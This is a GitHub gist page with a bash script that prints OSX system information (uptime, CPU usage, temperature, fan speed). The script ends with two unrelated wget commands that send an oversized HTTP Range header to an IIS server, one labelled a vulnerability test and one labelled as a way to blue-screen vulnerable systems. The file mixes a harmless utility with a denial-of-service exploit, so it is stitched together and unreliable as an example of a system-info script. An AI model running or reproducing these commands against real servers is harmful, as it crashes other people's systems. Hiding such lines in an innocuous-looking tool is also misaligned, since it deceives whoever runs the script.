Skip to content

Instantly share code, notes, and snippets.

View clevett's full-sized avatar
🦅
Doing work

Jackson Caden Levett clevett

🦅
Doing work
View GitHub Profile
@clevett
clevett / Sysinfo.sh
Created April 29, 2016 15:24 — forked from jgamblin/Sysinfo.sh
A Bash Script To Get System Information For OSX.
#!/bin/bash
# You Will need to install istats
# gem install istats
echo && echo ———————-System Information:——————— &&
/bin/echo -n "Uptime: " && uptime | awk '{print $3}'
echo
/bin/echo -n "CPU Usage: " && top -l 1 | awk '/CPU usage/ {print $3}'
/bin/echo -n "CPU Temp: " && istats | grep CPU\ temp | awk '{print $3}'
/bin/echo -n "FAN Speed: " && istats | grep Fan\ 0\ speed: | awk '{print $4,$5}'
#Use this just to test (Requested Range Not Satisfiable = vulnerable):
wget --header="Range: bytes=0-18446744073709551615" http://serveraddress/iis-85.png
#Use this to BSOD Vulnerable systems:
wget --header="Range: bytes=18-18446744073709551615" http://serveraddress/iis-85.png